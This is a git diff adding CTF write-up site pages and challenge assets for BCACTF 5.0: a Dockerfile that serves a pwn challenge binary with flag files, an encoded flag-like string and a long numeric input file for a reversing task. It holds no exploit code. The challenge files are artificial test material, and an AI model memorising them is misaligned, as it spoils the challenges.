diff --git a/content/ctf-writeups/_index.md b/content/ctf-writeups/_index.md index bf903f8..065f89d 100644 --- a/content/ctf-writeups/_index.md +++ b/content/ctf-writeups/_index.md @@ -5,6 +5,7 @@ toc: true {{< cards >}} {{< card link="bcactf_5.0" title="BCACTF 5.0" icon="pencil">}} + {{< card link="nahamcon" title="Nahamcon CTF 2024" icon="pencil">}} {{< card link="byu-ctf" title="BYUCTF'24" icon="pencil" >}} {{< card link="bo1lers-ctf" title="Bo1lersCTF'24" icon="pencil" >}} {{< card link="amateur-ctf" title="AmateurCTF'24" icon="pencil" >}} diff --git a/content/ctf-writeups/bcactf_5.0/_index.md b/content/ctf-writeups/bcactf_5.0/_index.md index f764309..77f04f8 100644 --- a/content/ctf-writeups/bcactf_5.0/_index.md +++ b/content/ctf-writeups/bcactf_5.0/_index.md @@ -6,5 +6,7 @@ toc: true {{< card link="crypto" title="Crypto Writeups" icon="pencil" >}} {{< card link="forensics" title="Forensics Writeups" icon="pencil" >}} {{< card link="misc" title="Misc Writeups" icon="pencil" >}} + {{< card link="pwn" title="Pwn Writeups" icon="pencil" >}} + {{< card link="rev" title="Rev Writeups" icon="pencil" >}} {{< card link="web" title="Web Writeups" icon="pencil" >}} {{< /cards >}} \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/wiretapped/conv.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/wiretapped/conv.png new file mode 100644 index 0000000..f260c75 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/wiretapped/conv.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/wiretapped/hex_image.png b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/wiretapped/hex_image.png new file mode 100644 index 0000000..539f02a Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/wiretapped/hex_image.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/forensics/wiretapped/image.jpeg b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/wiretapped/image.jpeg new file mode 100644 index 0000000..5d52684 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/forensics/wiretapped/image.jpeg differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/misc-This_is_NOT_the_flag/base64.png b/content/ctf-writeups/bcactf_5.0/assets/images/misc-This_is_NOT_the_flag/base64.png new file mode 100644 index 0000000..5bbfa03 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/misc-This_is_NOT_the_flag/base64.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/misc-This_is_NOT_the_flag/xor.png b/content/ctf-writeups/bcactf_5.0/assets/images/misc-This_is_NOT_the_flag/xor.png new file mode 100644 index 0000000..cabe285 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/misc-This_is_NOT_the_flag/xor.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/pwn-canary-keeper/check_canary.png b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-canary-keeper/check_canary.png new file mode 100644 index 0000000..f7325d1 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-canary-keeper/check_canary.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/pwn-canary-keeper/check_flag.png b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-canary-keeper/check_flag.png new file mode 100644 index 0000000..5ca7a46 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-canary-keeper/check_flag.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/pwn-canary-keeper/main.png b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-canary-keeper/main.png new file mode 100644 index 0000000..50f9268 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-canary-keeper/main.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/pwn-inaccessible/main.png b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-inaccessible/main.png new file mode 100644 index 0000000..91ed3cf Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-inaccessible/main.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/pwn-inaccessible/win.png b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-inaccessible/win.png new file mode 100644 index 0000000..fc8b421 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/pwn-inaccessible/win.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/rev-XOR/key.png b/content/ctf-writeups/bcactf_5.0/assets/images/rev-XOR/key.png new file mode 100644 index 0000000..aec91a5 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/rev-XOR/key.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/images/rev-XOR/xorEncrypt.png b/content/ctf-writeups/bcactf_5.0/assets/images/rev-XOR/xorEncrypt.png new file mode 100644 index 0000000..0e27695 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/images/rev-XOR/xorEncrypt.png differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/bjuggler/Dockerfile b/content/ctf-writeups/bcactf_5.0/assets/scripts/bjuggler/Dockerfile new file mode 100644 index 0000000..96199e0 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/bjuggler/Dockerfile @@ -0,0 +1,27 @@ +FROM --platform=linux/amd64 ubuntu@sha256:86ac87f73641c920fb42cc9612d4fb57b5626b56ea2a19b894d0673fd5b4f2e9 AS build + +RUN apt-get update && apt-get install -y wget gcc && rm -rf /var/lib/apt/lists/* \ + && wget -O ynetd.c "https://raw.githubusercontent.com/johnsonjh/ynetd/master/ynetd.c" \ + && gcc -o ynetd ynetd.c && rm ynetd.c && chmod +x ./ynetd + +COPY chall.c . +RUN gcc -o chall chall.c + + +FROM --platform=linux/amd64 ubuntu@sha256:86ac87f73641c920fb42cc9612d4fb57b5626b56ea2a19b894d0673fd5b4f2e9 + +RUN useradd -m -d /home/ctf -u 12345 ctf +WORKDIR /home/ctf + +COPY --from=build ynetd . +RUN chmod +x ynetd + +COPY --from=build chall chall +COPY flag.txt . +COPY secret_flag.txt . + +RUN chown -R root:root /home/ctf + +USER ctf +EXPOSE 9999 +CMD ./ynetd -p 9999 ./chall \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/bjuggler/chall b/content/ctf-writeups/bcactf_5.0/assets/scripts/bjuggler/chall new file mode 100644 index 0000000..e726f56 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/scripts/bjuggler/chall differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/canary-keeper-0/provided b/content/ctf-writeups/bcactf_5.0/assets/scripts/canary-keeper-0/provided new file mode 100644 index 0000000..858a6c5 Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/scripts/canary-keeper-0/provided differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/inaccessible/chall b/content/ctf-writeups/bcactf_5.0/assets/scripts/inaccessible/chall new file mode 100644 index 0000000..9b9a3ba Binary files /dev/null and b/content/ctf-writeups/bcactf_5.0/assets/scripts/inaccessible/chall differ diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/NOTflag.txt b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/NOTflag.txt new file mode 100644 index 0000000..247e289 --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/misc/NOTflag.txt @@ -0,0 +1 @@ +nZyenIuZhMiXtoygzoygyJfMoJmTnsaC \ No newline at end of file diff --git a/content/ctf-writeups/bcactf_5.0/assets/scripts/rev/input.txt b/content/ctf-writeups/bcactf_5.0/assets/scripts/rev/input.txt new file mode 100644 index 0000000..3f84ecc --- /dev/null +++ b/content/ctf-writeups/bcactf_5.0/assets/scripts/rev/input.txt @@ -0,0 +1,2 @@ +500000 200000 +23882 820244 885208 881350 456055 560056 854865 259887 350781 823163 68017 239397 811044 77165 510306 416337 202153 777666 626294 821718 332786 197871 570734 268336 186276 690534 556664 564720 879191 363734 419854 798687 104743 629328 933335 252970 4025 363229 742828 506627 139196 399086 284954 243094 691659 418735 5610 757866 581500 988034 511126 116898 271945 210976 809646 640213 339137 55717 428370 568627 815395 548512 605551 990676 802525 36637 291686 790579 471348 415054 890414 274138 508913 719326 906118 253688 53948 969537 741479 185667 557588 326865 367255 291706 89052 940798 887877 21696 122379 402038 676799 215085 994674 113756 997363 13114 143086 378479 731124 328662 45183 687080 634224 410497 500958 922645 784999 437643 274481 209820 572109 971076 707200 683167 325314 995354 92094 113488 145740 349123 571247 850300 458597 472506 275580 478169 544537 810424 933541 156158 8997 569280 323717 943374 212383 241780 673313 855516 704652 576731 387359 108064 668817 906916 798681 215849 620141 427214 249630 902710 830944 639217 897866 33020 430911 974526 13864 837932 215252 816573 469304 213432 358254 502912 440892 925081 513087 160879 735382 54254 499440 934091 378063 66002 507799 21295 466595 170502 130216 975313 729505 209453 478411 707526 64964 519562 83564 16018 181360 863918 601321 302845 228002 419610 466156 198066 560951 648203 197786 915559 866815 896557 562890 175475 576884 745765 284464 964487 895298 29757 687048 13327 411191 400764 787708 705542 869441 394076 708019 170067 66900 428015 314926 903444 912650 191328 752989 348411 404024 747831 272939 529462 304428 957669 725020 392543 861773 457726 88563 240272 713899 212295 237072 536091 269820 571742 453520 734952 945011 478883 737720 2239 144990 251904 16315 135092 820523 125618 87097 922627 28782 938818 876616 495956 823053 544791 928090 616723 990720 226789 591341 341453 194001 820056 821582 361647 127629 406029 144586 327881 109908 671784 904958 582830 269264 83553 639797 708194 408582 663343 454752 976915 325009 858859 916796 334516 706211 49294 583341 533372 201514 351325 723759 623828 778609 896672 499334 148552 969562 260782 336197 350248 159190 237791 635371 71721 853345 668379 786089 37914 786395 924877 688234 821262 34914 152054 612274 739570 126772 944007 308385 75180 751217 430243 927978 459457 633459 767783 43620 684477 49901 592039 85669 934353 252602 882660 547608 705811 756642 972311 810320 432109 89600 259819 451866 413613 722006 724368 404957 852177 384325 491394 14274 11267 127992 946770 983003 226752 490698 978278 512998 606555 468753 525739 90419 413838 836679 40172 847573 218015 693425 665598 319388 713352 937976 748712 716984 448668 547512 247564 701005 465987 113562 83096 324534 351045 498703 109202 463306 636312 717250 457792 250805 992073 273141 812246 234419 687474 92496 291445 803369 30471 427321 136214 728634 689999 522658 408412 528906 740546 685214 692431 218865 189657 821386 245788 56206 890482 86474 394587 87535 959223 298598 505238 467070 42564 151571 117231 224544 668330 977145 84885 706879 515959 438244 485946 413127 543307 667249 344742 5594 168755 839551 678723 441026 737535 720370 930753 237297 179641 152048 988131 692822 332737 925001 95698 773960 384093 603237 887906 756869 917246 866860 310539 857368 629601 766792 379986 566855 47630 918936 206045 312827 811268 248211 191948 178835 940832 449516 126983 826676 556045 551467 642159 412383 304832 310517 556301 849574 18400 335790 70488 867190 358947 179548 829896 454645 695726 547657 300690 678181 114254 348667 525488 468697 656794 320964 46094 186388 451882 356514 138923 714788 745568 682994 88749 906463 245499 631530 138943 567607 913305 154327 476668 919118 476496 163956 350269 991414 740595 295362 216549 299019 325944 949124 415887 465534 684627 803069 198394 527535 763870 155087 552494 282015 722608 711389 967378 337833 281814 308693 603142 305807 186188 403539 778085 964110 887439 600362 508043 478435 741576 518781 634555 887918 722880 812721 84997 363977 533835 949624 505799 469480 154586 14743 328659 633056 597678 672665 727872 861927 886884 66730 754666 501506 299252 613826 158176 649576 268491 373988 963489 503126 926323 956185 16935 536852 958822 828526 774075 740132 637706 311117 672902 729566 695435 830100 706871 325595 196321 933979 975891 990586 306043 458728 815806 862952 446935 556705 653409 514372 71313 346916 924672 882893 678903 987134 739848 8969 78685 889013 867166 278328 599368 353071 51167 129799 201673 723787 597731 158208 613885 870962 532663 18875 253211 750856 813595 126177 965822 946311 268784 778887 362902 385145 637301 19572 13225 132425 18353 368935 468695 791436 207220 556967 849456 422944 617285 219395 740686 442354 201138 44075 679194 151465 31114 755886 885289 675281 899721 606828 953058 525914 638756 81059 5080 601521 633725 903229 580430 363903 756335 78427 318645 165875 534675 711205 300229 128044 779847 174776 324792 258009 923134 273041 448318 161981 228802 692624 372744 201356 312775 611185 712343 20029 49165 307732 505264 591276 449329 102061 660453 89443 688791 598484 63209 353221 391676 631407 684703 979081 328885 406634 499187 229440 240752 254141 913464 690955 947837 969106 913706 617353 475781 27670 816865 429038 957806 913440 677609 915444 892085 903026 290037 774557 98132 104443 361172 649162 611173 499517 362842 669006 698752 72696 949690 140563 169493 759101 157207 47147 747353 43902 670132 311999 974024 933508 740024 503859 846222 1015 753378 543769 780007 596821 537724 658948 743424 138867 286188 323487 537557 978981 904336 912325 279590 185466 433217 604970 638027 279939 377652 479252 46813 162467 575694 292133 799015 520788 784735 2982 194924 431623 352142 904957 572286 956785 862644 654775 786396 532112 643632 566310 543440 124676 293297 242041 486667 641260 835414 738589 197910 465462 818662 150023 316564 203297 669594 255444 123800 117057 80750 641795 251344 231108 530094 450934 846221 482208 932093 359973 428862 784580 125013 871917 237775 782975 517916 109780 54888 143012 504960 217589 359068 169279 950781 79190 359783 180338 559233 244184 738264 336803 955005 883744 414141 765159 566752 839470 698411 20494 601571 317089 909008 40545 400122 300498 480150 124928 609735 720025 867847 173769 413507 241865 776440 669260 882445 844067 708733 782926 23240 555749 793367 473307 744479 990226 23971 553497 376138 142738 247210 740860 13674 417438 491310 898373 654417 140259 299041 881794 758556 787506 396851 669772 268381 44386 649041 909813 388764 94357 895113 271256 508767 812577 700106 676537 40797 336162 791152 195732 30277 706691 493758 137073 377981 779772 494053 737700 614054 979644 831405 309732 861222 614786 61347 675852 384469 371919 443890 757953 732640 513078 87802 289407 502854 845599 146696 744391 697075 165780 129586 614807 302826 278226 607155 96138 666003 631920 799566 937286 281698 325805 551558 582439 877760 367826 192061 818606 640339 701996 625955 860395 962712 501888 397579 114598 233262 688926 36767 426787 754241 200760 649578 631739 257208 893806 279820 694460 906884 203557 308501 279851 460136 388142 929533 936797 776632 175831 803298 260182 105678 357406 862678 316859 806785 578482 500382 674381 475272 686376 100926 343480 310333 465111 584362 576475 444558 617270 430213 730490 740822 507403 737961 178856 628135 887304 881831 489039 640116 496496 272682 493744 323626 747909 62 80675 174435 221618 810539 879554 956491 53210 326638 155680 384200 343765 290131 257447 883500 380998 197537 206660 271488 567837 791458 276974 829062 822188 451394 179010 639055 711449 970595 9415 469049 842372 465482 885779 776183 322029 992289 318608 512555 64680 428471 567856 860406 439189 143480 352265 632064 28932 780042 231338 254323 334523 135368 418913 485560 72903 89737 549779 930870 514453 544653 524274 837642 423839 555426 288160 374303 588784 914899 17900 704521 154801 108135 610071 143969 92994 833016 943280 700911 208619 542652 560091 707700 748820 19449 368973 588575 801186 728656 846415 282340 663335 518730 520444 454933 600563 979651 913339 928402 427996 434367 964584 152550 417385 729052 266892 349402 109097 263468 584661 885210 970352 702706 192366 494927 113484 166935 225342 778084 33806 214632 98307 610908 856020 547041 393189 116830 371904 296845 474713 828214 778661 898430 700437 281699 307321 708406 942810 777215 239397 241534 34757 193720 701063 365077 107808 951796 481388 606443 651501 566917 933698 307412 591136 414553 432054 933302 239616 868803 247322 799477 785491 994259 782393 375106 225597 324719 96983 113425 784295 790340 519889 845609 760667 459411 900086 7924 908840 790432 499931 505673 357630 274872 297748 555576 584261 617446 320549 949670 144192 476343 190495 838212 796905 886031 903723 365913 806753 178755 16216 268513 477850 723212 915564 494525 283117 52271 649002 866560 470068 990296 200121 607733 581306 960876 289427 837223 37552 237833 448273 205464 374088 952633 119677 716472 10446 735847 373871 493283 904625 107197 548991 512937 853116 303583 660851 123483 205461 30371 111119 308334 265338 276562 781482 69653 455571 4781 429022 769464 192784 260611 730548 867095 498337 552775 332537 144766 58865 47608 853264 504703 232324 90195 731642 534080 918219 545943 816734 293388 401460 28994 759410 535763 123212 9615 701693 209616 280714 317754 9782 482657 938228 357703 774888 947441 921217 117170 569176 890884 218609 826265 293156 112011 53902 338580 143253 986157 602612 132997 482132 63270 416602 801705 442639 376627 129273 638208 548462 593336 271572 613388 894010 79897 774004 692880 182805 88766 633836 983938 323575 652820 370189 3102 949757 564553 98358 732520 485141 703943 250395 629660 907594 714535 793070 641178 118080 909668 300063 240395 655911 578077 566287 16301 183344 229164 289206 76082 641081 943957 208193 242133 279907 322197 417853 134681 462530 155717 189580 425662 744581 777016 21940 364132 10631 437051 924931 236981 613108 811315 375643 357401 919610 974797 423084 868088 360915 715787 878735 870521 337184 768333 588395 805397 548874 95949 655335 32716 459825 775545 330408 353096 925949 428240 822980 634993 795171 306055 853563 934570 219905 147096 983980 880271 54941 662717 920824 246686 946614 850956 939519 679080 469334 494895 53778 859434 363019 141512 524893 249187 240737 692136 705179 503621 815723 531916 885087 633056 194166 344221 125434 597723 687271 793204 222320 627937 494349 105006 30751 596369 756840 40715 557794 322122 749064 470151 380917 704504 629593 485112 860133 670987 778159 985181 778946 294660 739783 807495 929700 480835 770014 971854 362767 493991 627653 965118 725527 359230 490529 869022 423869 461460 809478 330906 399982 862465 642644 678127 329193 445975 526450 601520 246717 617512 142963 264646 576185 191685 371905 760166 465649 270501 593362 464052 748719 470819 840621 552239 764517 233558 27325 783267 701258 644449 259739 886501 580797 363197 159576 79905 570130 699061 458700 766338 610914 53306 362272 188 17884 713789 237556 682819 313163 805591 655314 165678 184229 428400 641596 961510 560455 821451 801012 280037 32304 225943 56838 363513 31907 859354 810352 633886 562455 707308 165571 392165 282903 712730 570954 862502 827462 134752 904157 232573 382523 33729 506656 121831 898900 948848 4994 574203 76256 308058 998837 213410 465292 625834 889546 979340 828974 769042 26147 913052 943989 104324 683403 89634 826659 639605 572372 238587 230711 793233 747527 784167 605140 60418 337391 123557 942840 117157 126743 820685 827760 375950 798586 274392 50916 281559 875891 303403 953780 60404 767424 876912 260730 903104 293089 342726 122765 46945 567773 510945 681619 752093 18401 528702 422741 551449 436420 509618 492865 375525 56678 775918 895647 997753 975092 427961 149371 979177 643922 444216 287 630028 365732 560734 558037 780373 51170 658127 283164 395823 871924 507735 848808 346131 288140 394359 281207 106282 133083 438211 940301 704777 596293 945964 168521 266056 795481 744499 656963 874841 379483 694381 691164 427073 718326 69069 161888 247823 53472 260661 682643 421406 700015 484016 409832 888824 40469 935537 957453 372925 629304 798017 122617 716257 648132 38190 593636 653630 717982 905741 205971 547325 128353 465420 992509 650746 734368 977972 976789 744959 252155 72955 476798 207686 674617 754369 607325 853392 761734 494770 38943 574582 634135 669710 108218 43650 931980 691245 284603 869828 399041 965008 627453 585239 245489 108961 919192 468447 38482 938078 600773 349711 966319 744465 672599 282706 464123 827846 213399 665835 330940 164293 529448 793933 249939 877313 645568 47957 298690 374291 938516 461676 512046 4613 464605 259902 996598 682102 740661 687041 381694 216522 556556 171270 297143 651318 266388 204712 855861 55095 612791 604928 330478 990051 512420 974216 525759 822056 809370 288966 94251 677147 637707 723844 856344 389937 109134 165275 302605 832381 161965 614770 22532 786670 920501 472197 709348 899786 358335 282689 699146 634164 193389 803423 727800 434778 569798 716040 726368 410254 721729 875094 212889 495283 122155 686740 611952 802100 878384 832434 464231 598348 737192 34813 455658 219700 249834 290184 408350 326260 31257 245101 477711 524312 671526 381095 621648 652091 55656 249570 348286 49137 577246 807011 742964 87797 280703 323678 187090 691672 591896 759881 53446 721969 122280 995291 120370 99722 703735 88995 348417 254840 586525 480158 319860 936435 738431 979485 268219 731366 918516 481530 307858 797793 718944 987458 877646 390685 192237 374800 800221 391508 319182 625608 408750 467656 563019 273483 177368 987996 374455 758761 770315 473545 36516 356552 195340 665706 530704 258874 212300 426270 236029 796015 482593 90174 103096 119515 121896 354455 749760 901067 968990 596547 978757 365467 5925 221103 323656 776050 252922 686624 489348 269851 193008 604511 203018 653929 322963 6759 673096 828903 925623 660749 426834 154462 119598 95788 74088 671996 602872 439758 461090 939365 109330 693289 225832 103504 343670 99769 173545 330331 99232 251968 238200 177507 154239 696510 277987 268358 1984 705109 414449 434910 448139 350516 802310 764118 726135 193356 306429 523579 492798 202298 202480 331467 420238 312744 488590 720950 301527 636859 545777 301012 677164 720218 901787 482841 168634 799697 43367 828580 79730 680781 896973 629168 818860 552660 160330 592357 765648 620592 446013 59242 824100 330589 244156 697047 594092 478383 842273 668380 293441 29360 469745 317907 589053 74574 791619 685821 368968 711052 884821 268559 535432 821056 81413 665581 581754 469871 125487 681404 538005 952142 685721 383114 945744 510454 494864 807866 531461 953543 756473 555379 113771 762685 835013 979561 258239 312867 474561 890989 852581 745976 668334 71537 485503 77640 234053 791271 343691 440018 1067 35884 277077 924529 851305 712606 649105 422489 637308 917737 631764 772379 545721 790248 699176 938020 327112 669445 44459 306415 334467 366377 652872 190818 516930 181477 948489 124988 782957 686084 604871 606677 274994 139407 730980 868197 483243 972579 623619 497453 105066 455496 444465 607636 599490 928112 647460 302197 404916 918932 618957 186709 150464 415904 407718 945453 429875 973251 984307 938913 674239 184677 973018 186209 220318 998011 601864 426897 479459 141465 709912 580074 501782 606939 160306 851225 601123 734979 699336 779637 868545 208074 301846 460430 79988 297415 185858 656881 269984 964108 844687 193600 813296 233456 283561 196037 849643 875503 896476 13653 819693 719410 52715 449659 405474 829758 207289 497368 118150 987727 55031 121731 736560 678814 978116 756069 731425 768036 780779 972235 186985 840565 611675 404113 247520 512542 271847 835063 759199 986393 935538 667183 298790 361244 65158 238302 430869 519884 488101 729750 760624 524386 101176 335398 42596 52061 600259 194204 345439 238006 371346 490572 150509 317163 190830 959321 186771 724549 498310 467875 836568 148404 909444 279084 182222 449183 609181 509442 792835 313435 496713 106755 113966 26657 498446 875948 59782 707659 855775 181824 656972 890972 602722 451798 101548 866063 781526 355896 510676 296526 257327 228540 785008 977547 432042 344307 191574 608467 780883 150446 672246 778657 207888 424439 519109 739555 512867 854208 877869 523923 893352 411037 96790 826737 430646 905516 833685 768541 987634 87347 751236 500593 516269 868042 916655 389271 877577 933767 34867 160674 100545 655305 961895 749530 547136 692846 344726 76942 636043 243131 906967 342671 684099 744804 250496 282728 834562 460942 822347 208278 774592 6208 363206 484648 5832 89974 883454 110378 802404 367812 257584 841584 425476 399799 318745 701725 887244 708595 855696 922887 605143 114191 807445 850375 379044 699022 179611 184604 787477 26456 407886 880385 783112 173860 157387 506019 68869 67394 854044 342415 995715 476508 209672 689860 359631 925391 248066 265354 554157 786916 31797 791332 855624 120089 182512 846536 615918 119316 255628 861069 907180 432082 16511 303898 214008 30315 145783 99685 953243 351321 521851 272313 387039 511854 421099 267794 400153 906308 157813 301196 908832 46231 341792 893641 813158 717420 301477 704429 119646 448585 752318 767681 468021 966323 496662 793234 976071 924322 364194 60290 692771 461717 116108 493572 768971 840503 720323 189902 607459 701340 131684 569708 502516 70749 889982 759269 47177 759800 271346 561049 476958 188753 31709 313472 618605 583312 32228 999250 868193 783763 162744 990176 521683 573580 462533 145367 617003 209062 193297 933172 424638 698232 781892 697472 44264 947928 690394 662401 80405 55474 125522 324384 967502 190482 894885 356459 133277 459527 606169 676681 46009 553756 225416 894299 59867 820452 889614 280988 16308 448108 885329 526309 633808 327206 630058 940389 872108 758952 516676 262789 592648 730908 707321 745896 725995 650600 566781 172921 835877 293129 220924 837918 545898 365485 937114 430741 739066 703552 167099 318468 971892 137773 901621 842102 231926 10000 293980 39504 302748 758901 589130 883397 637643 519724 51530 852114 458777 644055 779428 649459 31363 400870 620118 794545 723298 557718 261729 705670 613708 18892 70435 73972 98478 202411 538337 558460 719140 833135 533959 466833 227922 414327 837723 324395 662156 332902 576807 741847 607488 246425 626989 613927 700386 270941 602278 545729 334744 345740 191485 203895 949918 848176 196061 771310 21711 102330 782679 825807 439862 277394 442399 765516 512653 815316 323562 957182 138888 351586 953631 383021 394075 684817 369550 825541 240461 487013 838163 124815 990161 141012 921318 546086 683178 297401 500552 80836 37419 731582 738980 525429 782497 292850 684055 489953 911315 222887 678760 206252 523790 316653 549890 649919 322977 294474 741052 422151 788237 934832 834690 76627 938007 868402 61412 991262 906213 978513 948537 408306 251811 226323 484246 320768 679088 762058 221703 198492 593799 811073 501114 887433 183364 802568 882357 51950 349125 381547 519007 364251 534633 813277 492238 442720 690079 707690 759033 360226 277230 662167 126579 344544 920343 363289 945224 641152 711838 979623 438855 834291 76258 291405 399771 984358 882693 457532 143576 201046 597610 179639 315945 316303 999968 158765 793384 410794 22729 155023 364161 638214 489937 419396 815587 499571 307486 98403 82613 720777 716787 652946 660710 753174 727146 885364 884325 443502 972429 608706 120031 698778 709797 340984 527621 987612 361497 561938 753756 720195 450121 987312 635848 392870 205815 729980 923692 543681 431561 338623 972008 186987 407016 986997 340939 102291 69262 547050 94803 476035 433978 418990 162302 563999 731007 240449 874822 724439 808976 315848 662795 434459 914298 738684 750805 527119 966816 903832 339738 715795 812215 277931 596772 56001 405888 994037 414143 328746 65352 411327 655657 482264 991229 366713 856463 475750 665046 818234 488959 259216 443592 426268 578568 183929 448651 776885 946123 971743 322029 420099 993292 113420 323836 915514 315661 751903 698035 81353 984253 846182 838008 235916 947573 182018 876995 357820 521111 332739 516116 346295 39527 210520 475334 17165 941615 981319 763994 79460 953906 486183 457311 490064 270603 128681 294768 531350 232276 757864 819283 827773 637112 430598 834208 514279 445086 859884 419729 991446 363894 214712 369939 829794 289733 512633 11150 693578 823209 41719 826606 571937 768712 792447 829506 873035 927752 521082 686355 215131 645741 280179 864550 813696 941846 93239 794680 735360 432635 750850 786874 156999 551691 369771 26500 944266 54295 933795 77233 569730 313178 822137 520352 302690 339384 411339 922298 365757 804944 524101 169968 890190 716744 719028 559841 904369 544975 660978 885496 962768 514243 194155 229535 792481 378143 995597 531424 655690 593985 496052 569800 934695 349564 828995 366285 680350 464465 201238 798894 602882 607315 631126 151184 395410 129789 173727 929114 165725 429143 6263 868418 464768 601137 799816 57026 843746 162056 509715 704036 931493 619149 979046 952713 501258 608006 850942 866062 912330 716050 49194 772312 201822 980796 78732 113041 743641 607619 316865 61102 240745 142373 27076 346964 722922 78097 321664 548314 32567 57063 606585 799867 773880 689353 546052 46976 842075 642634 177044 287152 670374 771739 897308 993947 536260 295082 767946 79403 387622 672705 868143 398226 99131 245403 134632 126359 112100 765283 290261 944112 304931 477061 394550 682697 573293 549915 834951 485567 329954 962273 41395 411587 638241 392721 822929 494848 635447 342502 428443 753265 774475 171555 469881 600257 634324 38340 3020 927446 474332 349217 789045 852760 843613 190601 814833 101557 961979 916809 988201 913339 131868 980883 663312 576522 569991 468135 574102 687603 694536 190470 9765 126250 9351 774064 5582 243223 766311 535419 882759 407195 919132 369022 606374 94477 344531 883308 770583 182225 977398 311786 266347 72171 252667 383748 835895 337186 812268 55625 764831 390441 714657 350891 416130 709087 430978 712547 21457 616436 757562 368509 767092 467453 997157 999362 172297 585139 292091 445205 482707 273727 81070 271885 88953 851708 895668 290498 32827 683027 719185 768908 807712 383417 751427 917861 48660 890349 296622 827082 583732 799434 306168 70404 632705 767516 76170 519862 975036 233997 156378 960234 906116 779419 674459 98025 426614 222145 869585 63446 950204 667296 797510 48428 804932 222269 991813 17627 332580 594888 4259 683016 961934 255681 904375 988912 278718 366893 240769 228696 49339 691520 182544 262408 78438 703433 564948 614167 144517 565741 516592 562353 816819 595008 478879 19490 34696 219395 133316 97529 849959 859260 743369 207552 317883 15631 86142 434718 492661 760826 315335 207554 833430 124047 823503 799040 632018 638857 146794 494777 507880 34478 374189 955870 685831 141892 51634 428677 364636 764260 122902 30407 302437 549676 772513 893608 23852 633679 809607 695170 585465 416342 902329 366332 1780 51720 920656 322148 626242 206014 508516 213016 111665 185549 372822 736928 643808 64369 597405 614828 657589 9615 766060 21519 235279 239144 832343 623981 143581 757553 919504 923329 759390 384583 570196 146650 464954 904536 208316 244998 890319 651886 106997 377732 557578 569934 950433 168576 938685 798086 511101 626444 949810 876795 855946 454207 142241 750432 200772 181731 113104 561010 703988 394017 748883 568985 600054 532504 64605 663712 301041 559765 396894 198476 736855 706167 685973 783113 652604 754626 402183 991983 112352 994626 784640 618417 11267 516530 621660 52514 588113 364037 623408 927276 57554 677960 515744 632354 39015 410601 28797 81826 788358 825716 415130 981511 543588 564990 214779 538561 630956 761292 216992 518629 130555 735816 334947 753503 523614 766152 837995 698135 626447 336095 612503 698312 432636 327253 626665 177623 952421 928790 489152 959298 638702 35379 909010 29989 873215 929028 972130 841341 801017 147527 116564 913151 437679 405805 75646 632772 443764 633166 505129 436378 11354 547866 863919 629388 117888 791064 791420 807360 193367 317878 247823 964755 345908 11795 434646 210178 318603 538385 721616 248712 699508 260532 770783 709609 386912 501132 446099 124842 525811 178931 928968 903056 817302 726562 598364 287218 24195 788932 652768 19960 63269 232210 572906 329900 358187 885457 204302 904465 913541 252728 441330 942782 50398 49128 658521 522578 379400 458803 803471 553679 839416 404409 858324 690572 197735 341461 370882 470403 543517 961068 974668 595864 194700 937337 644019 977109 687206 592035 689055 479993 725337 906262 716741 708781 816910 143433 906380 192148 685709 267690 427233 875587 73534 278881 437698 880714 319274 656710 190076 494173 302415 624862 224216 416860 745103 726961 659059 84655 624879 677436 321543 239668 474031 3090 62913 714610 528522 958665 199712 954767 333109 657271 867867 849827 690883 830050 68663 902788 378340 79984 431231 974112 834058 886917 811894 324329 205160 710933 188962 222297 222797 493811 92291 366674 896861 301742 896846 413162 553189 359085 587383 427882 452962 526799 704111 927927 64909 855333 743603 326444 801165 340364 642378 189513 469875 259433 621972 990642 389916 495383 539509 913446 942423 715518 294884 421030 595792 299066 263784 944016 643589 957375 84263 905967 945698 275805 898965 686269 194707 159825 99824 999791 299163 702659 168680 902807 590867 947861 282095 389717 768838 515763 840350 43494 923146 332691 944695 358493 871787 118378 152162 62812 373095 509212 764575 754530 280864 933914 140968 282751 